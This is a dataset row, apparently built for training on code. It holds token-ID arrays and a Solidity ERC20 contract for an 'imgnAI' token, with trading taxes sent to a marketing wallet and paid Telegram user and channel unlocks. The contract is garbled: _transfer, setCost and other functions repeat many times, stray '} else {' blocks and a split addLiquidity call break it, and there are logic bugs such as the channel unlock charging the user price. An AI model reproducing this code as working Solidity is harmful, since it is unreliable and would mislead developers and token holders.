0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
804,
6931,
594,
1989,
288,
203,
203,
565,
445,
2254,
5808,
12,
11890,
5034,
389,
77,
13,
2713,
16618,
1135,
261,
1080,
3778,
389,
11890,
8092,
13,
288,
203,
3639,
309,
261,
67,
77,
422,
374,
13,
288,
203,
5411,
327,
296,
20,
13506,
203,
3639,
289,
203,
3639,
2254,
5034,
525,
273,
389,
77,
31,
203,
3639,
2254,
5034,
562,
31,
203,
3639,
1323,
261,
78,
480,
374,
13,
288,
203,
5411,
562,
9904,
31,
203,
5411,
525,
9531,
1728,
31,
203,
3639,
289,
203,
3639,
1731,
3778,
324,
701,
273,
394,
1731,
12,
1897,
1769,
203,
3639,
2254,
5034,
417,
273,
562,
300,
404,
31,
203,
3639,
1323,
261,
67,
77,
480,
374,
13,
288,
203,
5411,
324,
701,
63,
79,
413,
65,
273,
1731,
21,
12,
11890,
28,
12,
8875,
397,
261,
67,
77,
738,
1728,
3719,
1769,
203,
5411,
389,
77,
9531,
1728,
31,
203,
3639,
289,
203,
3639,
327,
533,
12,
70,
701,
1769,
203,
565,
289,
203,
565,
445,
2254,
5808,
12,
11890,
5034,
389,
77,
13,
2713,
16618,
1135,
261,
1080,
3778,
389,
11890,
8092,
13,
288,
203,
3639,
309,
261,
67,
77,
422,
374,
13,
288,
203,
5411,
327,
296,
20,
13506,
203,
3639,
289,
203,
3639,
2254,
5034,
525,
273,
389,
77,
31,
203,
3639,
2254,
5034,
562,
31,
203,
3639,
1323,
261,
78,
480,
374,
13,
288,
203,
5411,
562,
9904,
31,
203,
5411,
525,
9531,
1728,
31,
203,
3639,
289,
203,
3639,
1731,
3778,
324,
701,
273,
394,
1731,
12,
1897,
1769,
2
] |
./partial_match/1/0xA735A3AF76CC30791C61c10d585833829d36CBe0/sources/Imgnai.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin Contracts guidelines: functions revert instead returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ TOKENOMICS START ==========================================================> | contract Imgnai is ERC20, Ownable {
string private _name = "Image Generation AI | imgnAI.com";
string private _symbol = "imgnAI";
uint8 private _decimals = 9;
uint256 private _supply = 1000000000;
uint256 public maxTxAmount = 10000001 * 10**_decimals;
uint256 public maxWalletAmount = 10000001 * 10**_decimals;
address public marketingWallet = 0xbC14dE74243788c5D934C963c4EAf3b743F1b0C6;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 public _marketingReserves = 0;
mapping(address => bool) public _isExcludedFromFee;
uint256 public numTokensSellToAddToLiquidity = 200000 * 10**_decimals;
uint256 public numTokensSellToAddToETH = 100000 * 10**_decimals;
function postLaunch() external onlyOwner {
taxForLiquidity = 1;
taxForMarketing = 2;
maxTxAmount = 10000001 * 10**_decimals;
maxWalletAmount = 10000001 * 10**_decimals;
}
struct userUnlock {
string tgUserName;
bool unlocked;
uint256 unlockedAt;
uint256 totalEthPaid;
}
struct channelUnlock {
string tgChannel;
bool unlocked;
uint256 unlockedAt;
uint256 totalEthPaid;
}
mapping(string => userUnlock) public unlockedUsers;
mapping(string => channelUnlock) public unlockedChannels;
uint public userCostEth = 0.01 ether;
uint public userCostTokens = 10000 * 10**_decimals;
uint public channelCostEth = 0.1 ether;
uint public channelCostTokens = 100000 * 10**_decimals;
event UserUnlocked(string tg_username, uint256 unlockTime);
event ChannelUnlocked(string tg_channel, uint256 unlockTime);
event CostUpdated(bool _isEth, bool _isChannel, uint _cost);
event ExcludedFromFeeUpdated(address _address, bool _status);
event AdminModifierSet(string tg_user_chan, bool _isChannel, bool _isUnlocked,
uint _unlockBlock, uint _amtPaid);
event PairUpdated(address _address);
function unlockUser(string memory tg_username) external payable {
require(msg.value >= userCostEth, "Not enough ETH sent!");
require(msg.sender.balance >= userCostTokens, "Not enough tokens!");
_marketingReserves += msg.value;
_transfer(msg.sender, DEAD, userCostTokens);
unlockedUsers[tg_username] = userUnlock(
tg_username,
true,
block.timestamp,
unlockedUsers[tg_username].totalEthPaid + msg.value
);
emit UserUnlocked(tg_username, block.timestamp);
}
function unlockChannel(string memory tg_channel) external payable {
require(msg.value >= userCostEth, "Not enough ETH sent!");
require(msg.sender.balance >= userCostTokens, "Not enough tokens!");
_marketingReserves += msg.value;
_transfer(msg.sender, DEAD, userCostTokens);
unlockedChannels[tg_channel] = channelUnlock(
tg_channel,
true,
block.timestamp,
unlockedChannels[tg_channel].totalEthPaid + msg.value
);
emit ChannelUnlocked(tg_channel, block.timestamp);
}
function isUnlocked(string memory tg_user_chan, bool _isChannel) external view returns(bool) {
if (_isChannel) {
return unlockedChannels[tg_user_chan].unlocked;
}
return unlockedUsers[tg_user_chan].unlocked;
}
function isUnlocked(string memory tg_user_chan, bool _isChannel) external view returns(bool) {
if (_isChannel) {
return unlockedChannels[tg_user_chan].unlocked;
}
return unlockedUsers[tg_user_chan].unlocked;
}
function getAmtPaid(string memory tg_user_chan, bool _isChannel) external view returns(uint) {
if (_isChannel) {
return unlockedChannels[tg_user_chan].totalEthPaid;
}
return unlockedUsers[tg_user_chan].totalEthPaid;
}
function getAmtPaid(string memory tg_user_chan, bool _isChannel) external view returns(uint) {
if (_isChannel) {
return unlockedChannels[tg_user_chan].totalEthPaid;
}
return unlockedUsers[tg_user_chan].totalEthPaid;
}
function getUnlockBlock(string memory tg_user_chan, bool _isChannel) external view returns(uint) {
if (_isChannel) {
return unlockedChannels[tg_user_chan].unlockedAt;
}
return unlockedUsers[tg_user_chan].unlockedAt;
}
function getUnlockBlock(string memory tg_user_chan, bool _isChannel) external view returns(uint) {
if (_isChannel) {
return unlockedChannels[tg_user_chan].unlockedAt;
}
return unlockedUsers[tg_user_chan].unlockedAt;
}
function setUnlockStatus(string memory tg_user_chan, bool _isChannel,
bool _isUnlocked, uint _unlockBlock, uint _amtPaid) external onlyOwner {
if (_isChannel) {
unlockedChannels[tg_user_chan] = channelUnlock(
tg_user_chan,
_isUnlocked,
_unlockBlock,
_amtPaid
);
unlockedUsers[tg_user_chan] = userUnlock(
tg_user_chan,
_isUnlocked,
_unlockBlock,
_amtPaid
);
}
emit AdminModifierSet(tg_user_chan, _isChannel, _isUnlocked, _unlockBlock, _amtPaid);
}
function setUnlockStatus(string memory tg_user_chan, bool _isChannel,
bool _isUnlocked, uint _unlockBlock, uint _amtPaid) external onlyOwner {
if (_isChannel) {
unlockedChannels[tg_user_chan] = channelUnlock(
tg_user_chan,
_isUnlocked,
_unlockBlock,
_amtPaid
);
unlockedUsers[tg_user_chan] = userUnlock(
tg_user_chan,
_isUnlocked,
_unlockBlock,
_amtPaid
);
}
emit AdminModifierSet(tg_user_chan, _isChannel, _isUnlocked, _unlockBlock, _amtPaid);
}
} else {
function setCost(bool _isEth, bool _isChannel, uint _cost) external onlyOwner {
if (_isEth) {
if (_isChannel) {
channelCostEth = _cost;
userCostEth = _cost;
}
if (_isChannel) {
channelCostTokens = _cost * 10**_decimals;
userCostTokens = _cost * 10**_decimals;
}
}
emit CostUpdated(_isEth, _isChannel, _cost);
}
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
function setCost(bool _isEth, bool _isChannel, uint _cost) external onlyOwner {
if (_isEth) {
if (_isChannel) {
channelCostEth = _cost;
userCostEth = _cost;
}
if (_isChannel) {
channelCostTokens = _cost * 10**_decimals;
userCostTokens = _cost * 10**_decimals;
}
}
emit CostUpdated(_isEth, _isChannel, _cost);
}
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
function setCost(bool _isEth, bool _isChannel, uint _cost) external onlyOwner {
if (_isEth) {
if (_isChannel) {
channelCostEth = _cost;
userCostEth = _cost;
}
if (_isChannel) {
channelCostTokens = _cost * 10**_decimals;
userCostTokens = _cost * 10**_decimals;
}
}
emit CostUpdated(_isEth, _isChannel, _cost);
}
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
} else {
} else {
function setCost(bool _isEth, bool _isChannel, uint _cost) external onlyOwner {
if (_isEth) {
if (_isChannel) {
channelCostEth = _cost;
userCostEth = _cost;
}
if (_isChannel) {
channelCostTokens = _cost * 10**_decimals;
userCostTokens = _cost * 10**_decimals;
}
}
emit CostUpdated(_isEth, _isChannel, _cost);
}
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
} else {
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() ERC20(_name, _symbol) {
_mint(msg.sender, (_supply * 10**_decimals));
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[address(uniswapV2Router)] = true;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[marketingWallet] = true;
}
function updatePair(address _pair) external onlyOwner {
require(_pair != DEAD, "LP Pair cannot be the Dead wallet, or 0!");
require(_pair != address(0), "LP Pair cannot be the Dead wallet, or 0!");
uniswapV2Pair = _pair;
emit PairUpdated(_pair);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
if (from != uniswapV2Pair) {
uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
if (contractLiquidityBalance >= numTokensSellToAddToLiquidity) {
_swapAndLiquify(numTokensSellToAddToLiquidity);
}
if ((_marketingReserves) >= numTokensSellToAddToETH) {
_swapTokensForEth(numTokensSellToAddToETH);
_marketingReserves -= numTokensSellToAddToETH;
bool sent = payable(marketingWallet).send(address(this).balance);
require(sent, "Failed to send ETH");
}
}
uint256 transferAmount;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
transferAmount = amount;
}
else {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
if(from == uniswapV2Pair){
require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
}
uint256 marketingShare = ((amount * taxForMarketing) / 100);
uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
transferAmount = amount - (marketingShare + liquidityShare);
_marketingReserves += marketingShare;
super._transfer(from, address(this), (marketingShare + liquidityShare));
}
super._transfer(from, to, transferAmount);
}
else {
super._transfer(from, to, amount);
}
}
function excludeFromFee(address _address, bool _status) external onlyOwner {
_isExcludedFromFee[_address] = _status;
emit ExcludedFromFeeUpdated(_address, _status);
}
function _swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = (contractTokenBalance / 2);
uint256 otherHalf = (contractTokenBalance - half);
uint256 initialBalance = address(this).balance;
_swapTokensForEth(half);
uint256 newBalance = (address(this).balance - initialBalance);
_addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount)
private
lockTheSwap
{
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
0,
0,
marketingWallet,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function changeMarketingWallet(address newWallet)
public
onlyOwner
returns (bool)
{
require(newWallet != DEAD, "LP Pair cannot be the Dead wallet, or 0!");
require(newWallet != address(0), "LP Pair cannot be the Dead wallet, or 0!");
marketingWallet = newWallet;
return true;
}
function changeTaxForLiquidityAndMarketing(uint256 _taxForLiquidity, uint256 _taxForMarketing)
public
onlyOwner
returns (bool)
{
require((_taxForLiquidity+_taxForMarketing) <= 10, "ERC20: total tax must not be greater than 10%");
taxForLiquidity = _taxForLiquidity;
taxForMarketing = _taxForMarketing;
return true;
}
function changeSwapThresholds(uint256 _numTokensSellToAddToLiquidity, uint256 _numTokensSellToAddToETH)
public
onlyOwner
returns (bool)
{
require(_numTokensSellToAddToLiquidity < _supply / 98, "Cannot liquidate more than 2% of the supply at once!");
require(_numTokensSellToAddToETH < _supply / 98, "Cannot liquidate more than 2% of the supply at once!");
numTokensSellToAddToLiquidity = _numTokensSellToAddToLiquidity * 10**_decimals;
numTokensSellToAddToETH = _numTokensSellToAddToETH * 10**_decimals;
return true;
}
function changeMaxTxAmount(uint256 _maxTxAmount)
public
onlyOwner
returns (bool)
{
maxTxAmount = _maxTxAmount;
return true;
}
function changeMaxWalletAmount(uint256 _maxWalletAmount)
public
onlyOwner
returns (bool)
{
maxWalletAmount = _maxWalletAmount;
return true;
}
receive() external payable {}
} | 9,159,299 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
30131,
9875,
14567,
30,
4186,
15226,
3560,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
6835,
2221,
1600,
10658,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
533,
3238,
389,
529,
273,
315,
2040,
23234,
432,
45,
571,
709,
1600,
18194,
18,
832,
14432,
203,
565,
533,
3238,
389,
7175,
273,
315,
381,
1600,
18194,
14432,
203,
565,
2254,
28,
3238,
389,
31734,
273,
2468,
31,
203,
565,
2254,
5034,
3238,
389,
2859,
1283,
273,
15088,
3784,
31,
203,
565,
2254,
5034,
1071,
943,
4188,
6275,
273,
15088,
21,
380,
1728,
636,
67,
31734,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
6275,
273,
15088,
21,
380,
1728,
636,
67,
31734,
31,
203,
565,
1758,
1071,
13667,
310,
16936,
273,
374,
6114,
39,
3461,
72,
41,
5608,
3247,
6418,
5482,
71,
25,
40,
29,
5026,
39,
29,
4449,
71,
24,
41,
12664,
23,
70,
21609,
42,
21,
70,
20,
39,
26,
31,
203,
565,
1758,
1071,
2030,
1880,
273,
374,
92,
12648,
12648,
12648,
12648,
2787,
72,
41,
69,
40,
31,
203,
565,
2254,
5034,
1071,
389,
3355,
21747,
607,
264,
3324,
273,
374,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
389,
291,
16461,
1265,
14667,
31,
203,
565,
2254,
5034,
1071,
818,
5157,
55,
1165,
13786,
774,
48,
18988,
24237,
273,
576,
11706,
380,
1728,
636,
67,
31734,
31,
203,
565,
2254,
5034,
1071,
818,
5157,
55,
1165,
13786,
774,
1584,
44,
273,
25259,
380,
